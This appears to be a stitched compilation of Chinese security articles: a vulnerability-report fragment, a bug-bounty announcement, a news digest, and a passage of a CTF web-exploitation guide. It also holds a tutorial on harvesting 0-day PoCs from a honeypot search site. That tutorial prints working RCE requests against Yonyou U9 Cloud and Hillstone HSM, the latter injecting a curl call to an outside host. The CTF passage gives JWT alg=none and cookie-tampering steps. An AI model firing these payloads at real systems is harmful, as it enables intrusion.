||||
|
||||
本周CNNVD接报漏洞255个，其中信息技术产品漏洞（通用型漏洞）244个，网络信息系统漏洞（事件型漏洞）11个。
|
||||
|
||||
表6 本周漏洞报送情况
|
||||
|
||||
|
||||
|
||||
## 四收录漏洞通报情况
|
||||
|
||||
|
||||
本周CNNVD收录漏洞通报107份。
|
||||
|
||||
表7 本周漏洞通报情况
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# 先知通用软件漏洞收集及奖励计划第十期 正式开始！
|
||||
阿里安全响应中心 2026-01-07 02:27
|
||||
|
||||
|
||||
|
||||
**先知通用漏洞收集计划及奖励计划第十期已经正式开始，奖金丰厚，欢迎大家积极参与！**
|
||||
|
||||
****
|
||||
**本期活动持续时间：**
|
||||
**2026年1月6日至2026年1月30日12:00**
|
||||
|
||||
****
|
||||
**漏洞提交地址：**
|
||||
https://xianzhi-next.aliyun.com/
|
||||
|
||||
登录后，选择通用漏洞第十期项目进行漏洞提交。
|
||||
|
||||
|
||||
**重要事项：**
|
||||
|
||||
- 本期仅收取评级为高危、严重的前台RCE漏洞。
|
||||
|
||||
- 本期重点收取列表中产品的漏洞，非在本列表中产品的漏洞，审核优先级将降低。
|
||||
|
||||
- 完整漏洞报告必须通过平台进行提交，不允许通过外链的链接（例如网盘、语雀文档等形式）进行提交与补充。
|
||||
|
||||
- 本期活动将于北京时间2026年1月30日结束，逾期不再收取漏洞。
|
||||
|
||||
- 如有相关问题，请加钉钉群：28650038560进行咨询。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**( 通用软件漏洞收集计划 )**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
为了更好地保障云上用户的安全，提升安全防御能力，阿里云先知专门制定了《通用软件漏洞验收及奖励计划》。该计划旨在通过提供奖励，鼓励白帽子遵循负责任的漏洞披露机制，向我们提供供应链软件的安全漏洞情报。
|
||||
|
||||
阿里云先知在确认漏洞后，将按照既定流程向您提供现金奖励和荣誉奖励。同时，在遵循中国相关法律的前提下，阿里云先知将漏洞信息反馈给软件开发公司，并与受影响的合作伙伴共享漏洞情报。如果您发现通用软件的漏洞，欢迎您向我们提交，我们将迅速响应并进行处理。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# 如何避免被割韭菜之快速获取0day漏洞详情
|
||||
原创 弱鸡 角宿安全 2026-01-07 04:00
|
||||
|
||||
参考：
|
||||
https://ruoji6.github.io/posts/16615.html
|
||||
|
||||
安全厂商对漏洞进行披露的时候一般会披露出漏洞的产品的名称以及漏洞复现截图，此时我们可以借助
|
||||
nextrap
|
||||
网站搜索蜜罐捕捉到的POC。
|
||||
|
||||
nextrap地址：
|
||||
https://www.nextrap.net/
|
||||
|
||||
# 0.1 nextrap搜索技巧
|
||||
|
||||
nextrap官网描述：
|
||||
|
||||
|
||||
|
||||
其中我们可以通过特定的语法检索POC：
|
||||
|
||||
## 0.1.1 实战搜索 用友U9 Cloud 命令执行
|
||||
|
||||
漏洞描述
|
||||
|
||||
|
||||
|
||||
最新披露的用友U9 Cloud 未授权远程代码执行漏洞，首先我们需要获取准确的产品名称：
|
||||
|
||||
（用友U9 Cloud ）全称：U9-用友-智能网关-智能工厂
|
||||
|
||||
|
||||
|
||||
使用测绘语法搜索产品：
|
||||
```
|
||||
```
|
||||
|
||||
次语法解释：
|
||||
|
||||
product
|
||||
产品名
|
||||
|
||||
url
|
||||
url路径（其中
|
||||
*
|
||||
为通配符）
|
||||
|
||||
|
||||
|
||||
此时我们可以通过检索信息找寻POC（如下图所示，就是最新的U9 命令执行POC）。
|
||||
|
||||
|
||||
```
|
||||
POST /U9C/CS/Office/OfficeReportCommonService.asmx HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept-Encoding: gzip
|
||||
Connection: keep-alive
|
||||
Content-Length: 4573
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
Soap-Date: 23449262
|
||||
Soapaction: "http://tempuri.org/ReleaseReport"
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<ReleaseReport xmlns="http://tempuri.org/">
|
||||
<context>string</context>
|
||||
<excelReportSolution>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</excelReportSolution>
|
||||
</ReleaseReport>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
```
|
||||
|
||||
## 0.1.2 实战搜索 山石网科安全管理平台HSM 命令执行漏洞
|
||||
|
||||
漏洞信息：NCC-2025-00663
|
||||
|
||||
|
||||
|
||||
此时我们先定位产品：
|
||||
|
||||
|
||||
|
||||
在产品的下面会提示部分命令执行漏洞的路径
|
||||
|
||||
|
||||
|
||||
然后使用测绘语法
|
||||
```
|
||||
```
|
||||
|
||||
product
|
||||
产品名
|
||||
|
||||
url
|
||||
url路径（其中
|
||||
*
|
||||
为通配符）
|
||||
|
||||
|
||||
|
||||
此时我们发现POC是关键信息是加*的，此时我们可以继续翻页查找，就可以找到关键POC。
|
||||
|
||||
|
||||
|
||||
```
|
||||
POST /rest/common/licenseService/applyLicense HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: keep-alive
|
||||
Content-Length: 188
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
|
||||
|
||||
parameter={"License":{"consumer":"1","address":"1","zipCode":"1;curl http://utmlq3ul.requestrepo.com/126;","contactor":"1","telphone":"1","email":"[email protected]","enabled":true}}
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
# 挪威Xplora儿童手表曝“万能钥匙”漏洞，黑客可监听通话与篡改定位
|
||||
汇能云安全 2026-01-07 02:28
|
||||
|
||||
|
||||
|
||||
**01****月07****日，星期三****，您好！中科汇能与您分享信息安全快讯：**
|
||||
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
|
||||
**挪威Xplora儿童手表曝“万能钥匙”漏洞，黑客可监听通话与篡改定位**
|
||||
|
||||
|
||||
在近期于德国汉堡举行的第39届混沌通信大会上，德国达姆施塔特工业大学的研究团队披露，挪威市场占有率领先的Xplora儿童智能手表存在极高危安全漏洞。研究人员发现，
|
||||
**该品牌手表系统中硬编码了一个“通用密钥”，导致黑客可利用此“万能钥匙”对所有同型号设备发起无差别攻击。一旦得手，攻击者不仅能实时窃取儿童与家长的私密聊天记录和照片，还能篡改定位数据、伪装身份发送虚假信息，彻底击穿家庭通信安全屏障。**
|
||||
|
||||
该漏洞由一名硕士生在毕业设计中率先发现，研究团队早在2025年5月就向Xplora厂商通报了详情。然而，厂商初期的修复仅停留在表面，未触及核心密钥问题，甚至在后续沟通中一度“失联”。直至研究团队向德国联邦信息安全办公室求助并施加监管压力后，Xplora才承诺将于2026年1月发布包含底层安全修复的系统更新。研究人员强烈建议家长在更新发布后立即为设备安装，以防范风险。
|
||||
|
||||
**02**
|
||||
|
||||
**OpenVSX惊现恶意扩展，专攻macOS开发者窃取数字资产**
|
||||
|
||||
|
||||
网络安全研究人员近期在开源扩展市场OpenVSX上发现三个新的恶意扩展，其中伪装成代码格式化工具“Prettier Pro”的扩展，正作为自我复制型恶意软件GlassWorm的第四波攻击载体，专门针对macOS系统。据分析，这些累计下载达5万次的扩展主要瞄准加密货币、Web3及初创企业领域的开发者，能在安装后延迟执行，并利用Solana区块链技术建立难以追踪的命令与控制网络以确保持久攻击。
|
||||
|
||||
此次攻击的危害性极高，
|
||||
**一旦中招，GlassWorm会窃取受害者的NPM与GitHub访问令牌、macOS密钥链密码、浏览器Cookie及VPN配置等核心敏感信息。更危险的是，它会用木马化版本替换硬件加密钱包应用，直接威胁数字资产安全。**
|
||||
研究人员警告，由于攻击者采用区块链等新技术快速迭代，传统基于特征的检测手段已显滞后，受影响的用户需立即检查并移除相关恶意扩展。
|
||||
|
||||
**03**
|
||||
|
||||
**18个恶意浏览器扩展窃取220万用户会议数据，威胁企业安全**
|
||||
|
||||
|
||||
网络安全公司Koi Security近日披露，威胁行为者DarkSpectre通过18个恶意浏览器扩展，对约220万Google Chrome、Mozilla Firefox和Microsoft Edge用户发起攻击，专门窃取在线会议数据。
|
||||
**这些恶意扩展伪装成“Chrome Audio Capture”和“Twitter X视频下载器”等正常工具，通过WebSocket连接窃取用户访问Zoom、Google Meet、Microsoft Teams等28个视频会议平台时的敏感信息，包括会议链接、ID、参与者状态、主持人信息及企业标志等元数据。**
|
||||
|
||||
研究人员警告，通过系统性地收集这些数据，攻击者已能构建一个庞大的情报数据库，用以支持企业间谍活动和精准的社会工程攻击。这些信息使攻击者能够获取加入机密会议的凭证、识别冒充目标，并掌握足够的上下文使冒充行为更具欺骗性。此轮攻击是DarkSpectre组织继GhostPoster和ShadyPanda活动后的新一轮行动，凸显了通过软件供应链（特别是浏览器扩展市场）实施数据窃取的严重威胁。
|
||||
|
||||
**04**
|
||||
|
||||
**Maven中央仓库惊现高仿Jackson恶意库，Java供应链安全遭新挑战**
|
||||
|
||||
|
||||
长期被视为相对安全的Java生态系统，近日遭遇一起新型软件供应链攻击。
|
||||
**安全研究人员在Maven中央仓库中发现一个伪装成常用Jackson JSON库的恶意组件org.fasterxml.jackson.core: jackson-databind。攻击者使用“前缀替换”手法，将合法命名空间com.fasterxml替换为org.fasterxml，这一肉眼难以辨别的微小差异欺骗了开发者。**
|
||||
该恶意组件具备复杂的多阶段载荷和加密通信机制，能够根据操作系统下载并执行远程控制木马。
|
||||
|
||||
此次“前缀替换”攻击暴露了Java生态系统的深层安全缺陷。与常见的依赖混淆攻击不同，此恶意包高度仿真且技术复杂，被研究人员称为在Maven中央仓库首次检测到的此类复杂恶意软件。由于攻击手法简单且对高价值目标回报率高，安全专家警告此技术极可能出现模仿者，并紧急呼吁仓库运营方尽快实施“前缀相似性检测”等主动防御机制。
|
||||
|
||||
**05**
|
||||
|
||||
**立陶宛黑客因传播KMSAuto恶意软件被引渡韩国，涉数百万美元加密货币窃取案**
|
||||
|
||||
|
||||
一名29岁的立陶宛籍黑客近日被从格鲁吉亚引渡至韩国，其涉嫌在2020年4月至2023年1月期间，
|
||||
**通过传播一款伪造的Windows激活工具“KMSAuto”感染全球超过200万用户**
|
||||
**。该恶意软件能在受害者进行加密货币交易时，悄无声息地将收款人钱包地址实时替换为黑客控制的地址，从而截留资金。**
|
||||
韩国警方指控其通过这一被称为“记忆黑客”的技术，从约3100个加密地址中挪用了总额约118万美元的资金。
|
||||
|
||||
此次跨国执法行动源于韩国国家警察厅长达五年多的调查。去年12月，韩国与立陶宛警方联合突袭了嫌疑人的住所并查获多件电子设备。在韩国通过国际刑警组织发布红色通缉令后，该黑客于今年4月在格鲁吉亚被捕。案件凸显了利用常见盗版工具进行包装的恶意软件对加密货币用户的巨大威胁，以及全球协作打击无国界网络犯罪的必要性。
|
||||
|
||||
**06**
|
||||
|
||||
**韩国电商巨头Coupang数据泄露，千亿韩元代金券赔偿方案引争议**
|
||||
|
||||
|
||||
**韩国最大线上零售商Coupang近日宣布，将为去年11月影响近3400万用户的大规模数据泄露事件提供价值10亿美元（约1.2万亿韩元）的赔偿。**
|
||||
然而，该赔偿方案因仅向每位受害者提供价值约35美元、且限定于Coupang自有平台使用的代金券，而引发公众强烈不满与批评。批评者指出，这种将赔偿与推广其外卖、旅游等相对冷门服务捆绑的做法，实质上是将一场严重的信任危机转化为商业营销机会。
|
||||
|
||||
此次泄露被确认为内部犯罪，一名前员工利用离职后仍有效的认证密钥窃取了用户姓名、电话、地址等个人信息。事件导致公司CEO引咎辞职，办公场所遭警方突击搜查。尽管公司临时CEO公开道歉并承诺转型，但赔偿方案未能平息舆论。公众质疑，在影响韩国约三分之二人口的严重事件后，企业责任不应止于一张强制消费的优惠券。
|
||||
|
||||
**07**
|
||||
|
||||
**黑客叫卖美国三大电力公司工程数据，标价6.5比特币**
|
||||
|
||||
|
||||
近日，一名网络犯罪分子在暗网声称，正在出售一批据称来源于美国三家主要公用事业公司——坦帕电力公司、佛罗里达杜克能源和美国电力公司——的敏感工程数据，标价6.5比特币（约合58.5万美元）。据称，
|
||||
**这批总计约139GB的数据，泄露源头指向为其提供工程服务的佛罗里达州公司Pickett and Associates，内容包括激光雷达点云、高分辨率航拍图、设计图纸等核心工程文件。**
|
||||
|
||||
泄露数据被描述为来自“活跃项目”，可能被用于基础设施分析或风险评估，对关键能源设施安全构成潜在威胁。涉及的三家电力公司服务范围覆盖美国多个州，客户总数超800万。目前，杜克能源方面已表示正在调查此事。此外，同一黑客还声称在出售一家欧洲太阳能公司的项目数据库。
|
||||
|
||||
**08**
|
||||
|
||||
**MongoDB曝高危漏洞，攻击者无需认证即可读取服务器敏感内存**
|
||||
|
||||
|
||||
知名数据库软件MongoDB近日披露一个编号为CVE-2025-14847的高危漏洞，其CVSS风险评分高达8.7分。
|
||||
**该漏洞源于软件对Zlib压缩协议头的长度校验存在缺陷，攻击者无需任何身份认证，即可通过构造恶意数据包，读取到数据库服务器的未初始化堆内存。这些被泄露的内存数据可能包含敏感的内部状态信息、内存指针乃至残留的业务数据（如密码、令牌等），对数据安全构成严重威胁。**
|
||||
|
||||
此次漏洞影响范围极广，涉及MongoDB从v3.6到v8.2的绝大多数主流版本。官方已紧急发布修复版本，强烈建议用户尽快升级至对应的安全版本。对于无法立即升级的系统，可采取临时规避措施，即在数据库配置中禁用Zlib压缩算法，以消除被攻击的风险。
|
||||
|
||||
**09**
|
||||
|
||||
**黑客滥用谷歌任务通知发起钓鱼攻击，3000余家组织受影响**
|
||||
|
||||
|
||||
网络安全研究人员披露，黑客在2025年12月发起了一场新型钓鱼攻击，
|
||||
**滥用谷歌官方的“任务”通知功能，针对全球超过3000家组织，其中制造业是主要目标。**
|
||||
与传统伪造发件人的方式不同，
|
||||
**此次攻击邮件全部来自谷歌的合法地址，并成功通过了所有主流邮件认证协议，导致依赖域名信誉的传统安全网关完全失效。**
|
||||
攻击者利用谷歌应用集成服务的高信誉度，使得恶意邮件能够毫无阻碍地进入用户收件箱。
|
||||
|
||||
攻击邮件伪装成谷歌任务通知，以“全员任务”为名要求员工紧急验证。邮件中的按钮将受害者引导至一个托管在谷歌云存储上的高度仿冒页面，该页面精确复制了谷歌官方界面。安全专家指出，这种“在合法基础设施内部”发起的攻击，标志着钓鱼战术的根本性转变，迫使企业必须超越传统的认证检测，转而分析上下文行为异常（如任务通知用于人事验证的不合理性）来识别威胁。
|
||||
|
||||
10
|
||||
|
||||
**超万台Fortinet防火墙暴露五年前高危漏洞，MFA形同虚设**
|
||||
|
||||
|
||||
网络安全监测机构Shadowserver于2026年1月初发布报告，指出全球仍有超过1万台Fortinet防火墙暴露于一个编号为CVE-2020-12812的高危漏洞之下。
|
||||
**该漏洞早在2020年被披露，存在于FortiOS的SSL VPN门户中，CVSS评分高达7.5分。其原理在于系统对用户名的大小写处理不一致：当设备配置了本地用户与LDAP（如Active Directory）服务器混合认证时，攻击者仅需修改登录用户名的大小写（例如将“user”改为“User”），即可绕过多因素认证（MFA） 的第二个验证因素，直接获得网络访问权限。**
|
||||
|
||||
尽管Fortinet在2025年底已确认该漏洞正被“近期滥用”并再次敦促用户修补，但数据显示修补工作严重滞后。美国是受影响最严重的国家，有超过1300个未修复实例，其次是泰国、台湾等地。该漏洞已被勒索软件攻击者广泛利用，并列入美国网络安全局的已知被利用漏洞目录。安全专家强烈建议用户立即升级至已修复的FortiOS版本，并检查关闭不必要的SSL VPN暴露，以防范未经授权的内部网络入侵。
|
||||
|
||||
|
||||
|
||||
|
||||
信息来源：人民网 国家计算机网络应急技术处理协调中心 国家信息安全漏洞库 今日头条 360威胁情报中心 中科汇能GT攻防实验室 安全牛 E安全 安全客 NOSEC安全讯息平台 火绒安全 亚信安全 奇安信威胁情报中心 MACFEESy mantec白帽汇安全研究院 安全帮 卡巴斯基 安全内参 安全学习那些事 安全圈 黑客新闻 蚁景网安实验室 IT之家IT资讯 黑客新闻国外 天际友盟
|
||||
|
||||
|
||||
|
||||
本文版权归原作者所有，如有侵权请联系我们及时删除
|
||||
|
||||
@@ -0,0 +1,171 @@
|
||||
# 漏洞挖掘实战系列（第3期）：Web专项（下） 权限类+新兴漏洞，拿下剩余40%分值
|
||||
原创 点击关注👉 网络安全学习室 2026-01-07 02:32
|
||||
|
||||
Web模块剩下的40%分值，全藏在**权限类漏洞**
|
||||
和**新兴漏洞**
|
||||
里——这些漏洞看着“进阶”，但掌握固定流程后，比注入/文件类漏洞更好拿分（很多选手会直接放弃这类题）。本期拆解2025赛事高频的越权、JWT、反序列化、SSRF漏洞，附真题案例和可复用脚本！
|
||||
## 一、权限类漏洞：绕开验证，直接拿敏感数据
|
||||
|
||||
权限类漏洞的核心是**服务器未正确校验用户身份/权限**
|
||||
，常见类型是“越权”和“JWT缺陷”，CTF中占Web题25%分值。
|
||||
### 1. 越权漏洞：低权限用户干高权限的事
|
||||
#### （1）2种高频越权类型
|
||||
<table><thead><tr><th style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(8, 155, 163);border: 1px solid rgb(8, 155, 163);vertical-align: top;font-weight: bold;background-color: rgba(122, 234, 240, 0.094);"><section><span leaf="">类型</span></section></th><th style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(8, 155, 163);border: 1px solid rgb(8, 155, 163);vertical-align: top;font-weight: bold;background-color: rgba(122, 234, 240, 0.094);"><section><span leaf="">场景</span></section></th><th style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(8, 155, 163);border: 1px solid rgb(8, 155, 163);vertical-align: top;font-weight: bold;background-color: rgba(122, 234, 240, 0.094);"><section><span leaf="">测试方法</span></section></th></tr></thead><tbody><tr><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">水平越权</span></section></td><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">同权限用户访问他人数据（如查看其他用户的订单）</span></section></td><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">篡改请求中的</span><code><span leaf="">user_id</span></code><span leaf="">（如把</span><code><span leaf="">user_id=1</span></code><span leaf="">改成</span><code><span leaf="">user_id=2</span></code><span leaf="">）</span></section></td></tr><tr><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">垂直越权</span></section></td><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">低权限用户访问高权限功能（如普通用户进后台）</span></section></td><td style="font-size: 10px;padding: 9px 12px;line-height: 22px;color: rgb(34, 34, 34);border: 1px solid rgb(8, 155, 163);vertical-align: top;"><section><span leaf="">直接访问</span><code><span leaf="">/admin</span></code><span leaf="">页面，或篡改Cookie中的</span><code><span leaf="">role</span></code><span leaf="">字段（如</span><code><span leaf="">role=user</span></code><span leaf="">→</span><code><span leaf="">role=admin</span></code><span leaf="">）</span></section></td></tr></tbody></table>#### （2）真题实战：2025 DEF CON「auth_bypass」（垂直越权）
|
||||
|
||||
**场景**
|
||||
：靶场普通用户登录后，页面显示“无权限访问后台”，但后台地址/admin
|
||||
可直接访问。
|
||||
|
||||
**核心步骤**
|
||||
：
|
||||
1. 用普通账号登录，抓包获取Cookie（如user=test; role=user
|
||||
）；
|
||||
|
||||
1. 修改Cookie中的role=admin
|
||||
，重放请求访问/admin
|
||||
；
|
||||
|
||||
1. 后台页面直接显示flag：flag{vertical_bypass_2025}
|
||||
。
|
||||
|
||||
#### （3）避坑点
|
||||
- 别只改Cookie：部分网站会把权限信息存在请求头（如X-Role
|
||||
）或URL参数里，要全量测试。
|
||||
|
||||
- 测试完要还原：避免被靶场检测到恶意操作封IP。
|
||||
|
||||
### 2. JWT漏洞：篡改令牌，直接提权
|
||||
|
||||
JWT（JSON Web Token）是Web常用的身份令牌，漏洞点集中在“签名校验”和“密钥”上。
|
||||
#### （1）漏洞识别
|
||||
- 拿到JWT令牌（通常在Cookie或Authorization头里），格式为Header.Payload.Signature
|
||||
；
|
||||
|
||||
- 用JWT.io解析，查看alg
|
||||
（签名算法）字段。
|
||||
|
||||
#### （2）2种高频利用方法
|
||||
##### 方法1：算法伪造（alg=none）
|
||||
- 原理：部分服务器支持“无签名”算法，直接篡改Payload后去掉Signature；
|
||||
|
||||
- 步骤：
|
||||
|
||||
- 解析JWT，将alg
|
||||
改为none
|
||||
；
|
||||
|
||||
- 修改Payload中的role
|
||||
为admin
|
||||
；
|
||||
|
||||
- 删除Signature部分，最终令牌格式为Header.Payload.
|
||||
（注意末尾有个点）；
|
||||
|
||||
- 替换原令牌，访问后台拿flag。
|
||||
|
||||
##### 方法2：密钥爆破
|
||||
- 原理：若alg
|
||||
是HS256
|
||||
（对称加密），且密钥是弱口令，可爆破密钥后篡改令牌；
|
||||
|
||||
- 工具：用jwt_tool
|
||||
